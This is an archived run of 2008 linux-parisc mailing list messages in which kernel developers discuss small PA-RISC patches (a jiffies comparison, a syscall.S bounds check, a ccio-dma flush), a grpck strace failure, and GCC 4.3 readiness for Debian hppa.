# CONFIG_CRYPTO_KHAZAD is not set
# CONFIG_CRYPTO_ANUBIS is not set
# CONFIG_CRYPTO_SEED is not set
# CONFIG_CRYPTO_SALSA20 is not set
CONFIG_CRYPTO_DEFLATE=m
# CONFIG_CRYPTO_MICHAEL_MIC is not set
CONFIG_CRYPTO_CRC32C=m
# CONFIG_CRYPTO_CAMELLIA is not set
CONFIG_CRYPTO_TEST=m
# CONFIG_CRYPTO_AUTHENC is not set
# CONFIG_CRYPTO_LZO is not set
CONFIG_CRYPTO_HW=y
# CONFIG_CRYPTO_DEV_HIFN_795X is not set

#
# Library routines
#
CONFIG_BITREVERSE=y
CONFIG_CRC_CCITT=m
# CONFIG_CRC16 is not set
# CONFIG_CRC_ITU_T is not set
CONFIG_CRC32=y
# CONFIG_CRC7 is not set
CONFIG_LIBCRC32C=m
CONFIG_ZLIB_INFLATE=m
CONFIG_ZLIB_DEFLATE=m
CONFIG_PLIST=y
CONFIG_HAS_IOMEM=y
CONFIG_HAS_IOPORT=y
CONFIG_HAS_DMA=y

--7JfCtLOvnd9MIVvH--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] arch/parisc/kernel/unaligned.c: Use time_* macros
Date: Mon, 17 Mar 2008 11:40:57 -0400
Lines: 51
Approved: news@gmane.org
Message-ID: <20080317154057.GD3904@phobos.i.cabal.ca>
References: <1205746593-24820-1-git-send-email-caglar@pardus.org.tr> <1205746593-24820-2-git-send-email-caglar@pardus.org.tr> <1205746593-24820-3-git-send-email-caglar@pardus.org.tr>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1205768504 4387 80.91.229.12 (17 Mar 2008 15:41:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 17 Mar 2008 15:41:44 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>
To: "S.?a??lar Onur" <caglar@pardus.org.tr>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 17 16:42:13 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JbHSw-0001F2-VB
	for glpp-linux-parisc@gmane.org; Mon, 17 Mar 2008 16:41:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751697AbYCQPk7 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 17 Mar 2008 11:40:59 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751806AbYCQPk7
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 17 Mar 2008 11:40:59 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:57261 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751637AbYCQPk6 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 17 Mar 2008 11:40:58 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id E3EC0178089; Mon, 17 Mar 2008 11:40:57 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <1205746593-24820-3-git-send-email-caglar@pardus.org.tr>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:226 gmane.linux.kernel:654698
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/226>

Hi,

On Mon, Mar 17, 2008 at 11:36:25AM +0200, S.?a??lar Onur wrote:

Sorry, I seem to be losing at charsets with your name. :(

> The functions time_before, time_before_eq, time_after, and time_after=
_eq are more robust for comparing jiffies against other values.
>=20
> So following patch implements usage of the time_after() macro, define=
d at linux/jiffies.h, which deals with wrapping correctly
>=20

I prefer the idea of using printk_ratelimit. I've committed a patch tha=
t
does this to git and credited you with pointing it out.

cheers, Kyle

> Cc: Kyle McMartin <kyle@mcmartin.ca>
> Cc: linux-parisc@vger.kernel.org
> Cc: Andrew Morton <akpm@linux-foundation.org>
> Signed-off-by: S.=C7a??lar Onur <caglar@pardus.org.tr>
> ---
>  arch/parisc/kernel/unaligned.c |    2 +-
>  1 files changed, 1 insertions(+), 1 deletions(-)
>=20
> diff --git a/arch/parisc/kernel/unaligned.c b/arch/parisc/kernel/unal=
igned.c
> index aebf3c1..19b8a79 100644
> --- a/arch/parisc/kernel/unaligned.c
> +++ b/arch/parisc/kernel/unaligned.c
> @@ -460,7 +460,7 @@ void handle_unaligned(struct pt_regs *regs)
>  			goto force_sigbus;
>  		}
> =20
> -		if (unaligned_count > 5 && jiffies - last_time > 5*HZ) {
> +		if (unaligned_count > 5 && time_after(jiffies, last_time + 5 * HZ)=
) {
>  			unaligned_count =3D 0;
>  			last_time =3D jiffies;
>  		}
> --=20
> 1.5.4.3
>=20
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [git patches] parisc bug fixes for 2.6.25
Date: Mon, 17 Mar 2008 13:53:14 -0400 (EDT)
Lines: 32
Approved: news@gmane.org
Message-ID: <20080317175315.E814B4E0E@hiauly1.hia.nrc.ca>
References: <20080317145236.GC3904@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1205776427 6340 80.91.229.12 (17 Mar 2008 17:53:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 17 Mar 2008 17:53:47 +0000 (UTC)
Cc: kyle@mcmartin.ca, carlos@systemhalted.org,
	linux-parisc@vger.kernel.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 17 18:54:15 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JbJX2-0005Kg-4N
	for glpp-linux-parisc@gmane.org; Mon, 17 Mar 2008 18:53:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752579AbYCQRxU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 17 Mar 2008 13:53:20 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752420AbYCQRxU
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 17 Mar 2008 13:53:20 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3923 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750762AbYCQRxT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 17 Mar 2008 13:53:19 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id E814B4E0E; Mon, 17 Mar 2008 13:53:15 -0400 (EDT)
In-Reply-To: <20080317145236.GC3904@phobos.i.cabal.ca> from "Kyle McMartin" at Mar 17, 2008 10:52:36 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:227
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/227>

> I don't see this... what is the machine running? I'm concerned maybe one
> of the new syscalls is being used in glibc or something.

At a simpler level, pwck and grpck are also wierd.  For example,
grpck often says a user doesn't exist when it clearly does.  Tried
running grpck with strace but it dies:

...
open("/lib/libsepol.so.1", O_RDONLY)    = 3
read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\0WL"..., 512) = 512
fstat64(3, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 265584, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x414e8000
mmap(0x41527000, 8192, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x3e000) = 0x41527000
close(3)                                = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40002000
mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40003000
munmap(0x404ea000, 96360)               = 0
brk(0)                                  = 0x21000
brk(0x42000)                            = 0x42000
open("/etc/selinux/config", O_RDONLY|O_LARGEFILE) = -1 ENOENT (No such file or directory)
upeek: ptrace(PTRACE_PEEKUSER,11233,4294967292,0): Input/output error
root@hiauly6:/etc#

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [git patches] parisc bug fixes for 2.6.25
Date: Mon, 17 Mar 2008 14:54:10 -0400 (EDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <20080317185411.996EA4DBD@hiauly1.hia.nrc.ca>
References: <20080317175315.E814B4E0E@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1205780086 22309 80.91.229.12 (17 Mar 2008 18:54:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 17 Mar 2008 18:54:46 +0000 (UTC)
Cc: kyle@mcmartin.ca, carlos@systemhalted.org,
	linux-parisc@vger.kernel.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 17 19:55:14 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JbKU1-0005BA-AI
	for glpp-linux-parisc@gmane.org; Mon, 17 Mar 2008 19:54:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752256AbYCQSyR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 17 Mar 2008 14:54:17 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752595AbYCQSyR
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 17 Mar 2008 14:54:17 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3929 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752256AbYCQSyQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 17 Mar 2008 14:54:16 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 996EA4DBD; Mon, 17 Mar 2008 14:54:11 -0400 (EDT)
In-Reply-To: <20080317175315.E814B4E0E@hiauly1.hia.nrc.ca> from "John David Anglin" at Mar 17, 2008 01:53:14 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:228
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/228>

> upeek: ptrace(PTRACE_PEEKUSER,11233,4294967292,0): Input/output error
> root@hiauly6:/etc#

This reminds me of the off by one, comiclr, bug last summer.  There
seems to be two other places in syscall.S where we might have the same
bug.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [git patches] parisc bug fixes for 2.6.25
Date: Mon, 17 Mar 2008 19:43:09 -0400 (EDT)
Lines: 45
Approved: news@gmane.org
Message-ID: <20080317234310.39A744DBD@hiauly1.hia.nrc.ca>
References: <20080317185411.996EA4DBD@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1205797402 22660 80.91.229.12 (17 Mar 2008 23:43:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 17 Mar 2008 23:43:22 +0000 (UTC)
Cc: kyle@mcmartin.ca, carlos@systemhalted.org,
	linux-parisc@vger.kernel.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 18 00:43:49 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JbOzd-0008GT-5o
	for glpp-linux-parisc@gmane.org; Tue, 18 Mar 2008 00:43:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752211AbYCQXnN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 17 Mar 2008 19:43:13 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751124AbYCQXnN
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 17 Mar 2008 19:43:13 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3951 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752578AbYCQXnN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 17 Mar 2008 19:43:13 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 39A744DBD; Mon, 17 Mar 2008 19:43:09 -0400 (EDT)
In-Reply-To: <20080317185411.996EA4DBD@hiauly1.hia.nrc.ca> from "John David Anglin" at Mar 17, 2008 02:54:10 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:229
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/229>

> > upeek: ptrace(PTRACE_PEEKUSER,11233,4294967292,0): Input/output error
> > root@hiauly6:/etc#
> 
> This reminds me of the off by one, comiclr, bug last summer.  There
> seems to be two other places in syscall.S where we might have the same
> bug.

The attached patch while probably correct doesn't resolve the problem.
grpck is broken with 2.6.25-rc5-01448-g96f1bb3.  It isn't with 2.6.22.19.
Somehow, the problem seems specific to 32-bit kernels.

The same strace error occurs on both systems, so it's a separate issue.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index 69b6eeb..3f6eeef 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -310,7 +310,7 @@ tracesys_next:
 	ldo	-16(%r30),%r29			/* Reference param save area */
 #endif
 
-	comiclr,>>=	__NR_Linux_syscalls, %r20, %r0
+	comiclr,>>	__NR_Linux_syscalls, %r20, %r0
 	b,n	.Lsyscall_nosys
 
 	LDREGX  %r20(%r19), %r19
@@ -402,7 +402,7 @@ lws_start:
 #endif	
 
         /* Is the lws entry number valid? */
-	comiclr,>>=	__NR_lws_entries, %r20, %r0
+	comiclr,>>	__NR_lws_entries, %r20, %r0
 	b,n	lws_exit_nosys
 
 	/* WARNING: Trashing sr2 and sr3 */
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Patch] ccio-dma.c [Was: Yet another ccio fix idea?]
Date: Wed, 19 Mar 2008 00:19:52 -0600
Lines: 38
Approved: news@gmane.org
Message-ID: <20080319061952.GA3876@colo.lackof.org>
References: <JXM1RH$256C92C0CB28292D8C30F2A8EBC987EF@scarlet.be> <20080314060251.GJ24794@colo.lackof.org> <47DC21AB.9090005@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1205955153 30687 80.91.229.12 (19 Mar 2008 19:32:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 19 Mar 2008 19:32:33 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	dave <dave@hiauly1.hia.nrc.ca>,
	"James.Bottomley" <James.Bottomley@HansenPartnership.com>,
	"soete.joel" <soete.joel@scarlet.be>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	kyle <kyle@parisc-linux.org>, matthew <matthew@wil.cx>
To: rubisher <rubisher@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 19 20:33:01 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Jc41U-0006jn-Qd
	for glpp-linux-parisc@gmane.org; Wed, 19 Mar 2008 20:32:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752804AbYCSTbk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 19 Mar 2008 15:31:40 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753901AbYCSTbk
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 19 Mar 2008 15:31:40 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:39083 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755430AbYCSTbi (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 19 Mar 2008 15:31:38 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id ECF5F6F8010;
	Wed, 19 Mar 2008 00:20:02 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03047-06; Wed, 19 Mar 2008 00:19:52 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 579546F8008; Wed, 19 Mar 2008 00:19:52 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <47DC21AB.9090005@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:230
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/230>

On Sat, Mar 15, 2008 at 07:21:15PM +0000, rubisher wrote:
...
>>> -               asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr[7]));
>>> +               asm volatile("fdc %%r0(%0)" : : "r" (&pdir_ptr[7]));
>> NACK - keep it simple with the original proposed patch.
> Ok here it is:
> Signed-off-by: Joel Soete <soete dot joel at scarlet dot be>

Acked-by: Grant Grundler <grundler@parisc-linux.org>

Kyle,
please apply :)

thanks,
grant

> ---
>  drivers/parisc/ccio-dma.c |    2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
>
> Index: b/drivers/parisc/ccio-dma.c
> ===================================================================
> --- a/drivers/parisc/ccio-dma.c 2008-03-12 08:49:20.000000000 +0000
> +++ b/drivers/parisc/ccio-dma.c 2008-03-15 19:19:52.000000000 +0000
> @@ -695,7 +695,7 @@
>                 ** Hopefully someone figures out how to patch (NOP) the
>                 ** FDC/SYNC out at boot time.
>                 */
> -               asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr[7]));
> +               asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr));
>
>                 iovp     += IOVP_SIZE;
>                 byte_cnt -= IOVP_SIZE;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.gcc,gmane.linux.debian.devel.release
Subject: Re: [alpha, hppa] GCC-4.3 as the default compilers for lenny?
Date: Sat, 22 Mar 2008 17:50:17 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <119aab440803221450v1387e168l8423d74237057fa3@mail.gmail.com>
References: <18405.27903.317733.531002@gargle.gargle.HOWL>
	 <119aab440803221402w2bfe5a7le9499e4eb6e0e3c1@mail.gmail.com>
	 <18405.30165.498589.795298@gargle.gargle.HOWL>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1206222645 15115 80.91.229.12 (22 Mar 2008 21:50:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Mar 2008 21:50:45 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org,
	debian-gcc@lists.debian.org, "Aurelien Jarno" <aurel32@debian.org>,
	debian-release@lists.debian.org
To: "Matthias Klose" <doko@cs.tu-berlin.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 22 22:51:14 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JdBcP-000688-I5
	for glpp-linux-parisc@gmane.org; Sat, 22 Mar 2008 22:51:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756055AbYCVVuU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 22 Mar 2008 17:50:20 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752646AbYCVVuU
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 22 Mar 2008 17:50:20 -0400
Original-Received: from rv-out-0910.google.com ([209.85.198.191]:56902 "EHLO
	rv-out-0910.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756055AbYCVVuS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 22 Mar 2008 17:50:18 -0400
Original-Received: by rv-out-0910.google.com with SMTP id k20so1096685rvb.1
        for <linux-parisc@vger.kernel.org>; Sat, 22 Mar 2008 14:50:18 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=beta;
        h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        bh=MOb3jBPTuUWh4vJL9vccO5DmmQ04mojdW1uTRif8ix4=;
        b=OvmUuBC4mpOMXVvdDSIdx+OyrLQpvda0Ms1MYz3vWwTVL+Qmc5h0ft5y5QvRGLcdRGO7iN/SvsfZgAQybwpyY1yImr6C9f/pKWniRDoLM+4RQpJ7gUATQJQ4FcOGvyiTdAoGkAT3l0hDmoiYWHwiWvYLTa2UBXkrD3Lxw+P3+FM=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=beta;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        b=SrVegcVrYJGbgvfBIfJbzDgPRbsGck+vM8R7xIEKDlFsd8HydE6mdy6qT86ipQI/KnSQRWKsbRx+tlicWmZy/CEmfKeOa8DND9o3PKmFJ8cuNLXYfanMt1bfpJ981S9fnyuvcfylYwpnhG7klLkkB++SYOVouknD0NYVhDIxg/I=
Original-Received: by 10.140.141.15 with SMTP id o15mr1773971rvd.2.1206222617963;
        Sat, 22 Mar 2008 14:50:17 -0700 (PDT)
Original-Received: by 10.141.98.3 with HTTP; Sat, 22 Mar 2008 14:50:17 -0700 (PDT)
In-Reply-To: <18405.30165.498589.795298@gargle.gargle.HOWL>
Content-Disposition: inline
X-Google-Sender-Auth: 99c4cdc661beeaf2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:231 gmane.linux.debian.ports.hppa:5150 gmane.linux.debian.devel.gcc:27537 gmane.linux.debian.devel.release:19804
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/231>

On Sat, Mar 22, 2008 at 5:10 PM, Matthias Klose <doko@cs.tu-berlin.de> wrote:
> Carlos O'Donell writes:
>  > >   - gij/gcj shows bus errors on hppa (either 4.2 or 4.3).
>  >
>  > Has gij/gcj ever worked on hppa-linux?
>
>  at least the gij/gcj before adding support for generics (1.5) did
>  work.  Now that a working runtime is required for the compiler makes
>  things different. Please try to run a random HelloWorld program using
>  the interpreter.

I'm not at all interested in gij/gcj. Why do we require that all
languages be functional for a gcc release? This is a difficult goal to
meet.

As the hppa-linux libc-ports maintainer I *am* interested in seeing
the list of regressions you have and commenting on them.

Also note that the hppa-linux list is "linux-parisc@vger.kernel.org"

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.gcc,gmane.linux.debian.devel.release
Subject: Re: [alpha, hppa] GCC-4.3 as the default compilers for lenny?
Date: Sat, 22 Mar 2008 22:56:02 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <18405.32882.347691.983065@gargle.gargle.HOWL>
References: <18405.27903.317733.531002@gargle.gargle.HOWL>
	<119aab440803221402w2bfe5a7le9499e4eb6e0e3c1@mail.gmail.com>
	<18405.30165.498589.795298@gargle.gargle.HOWL>
	<119aab440803221450v1387e168l8423d74237057fa3@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
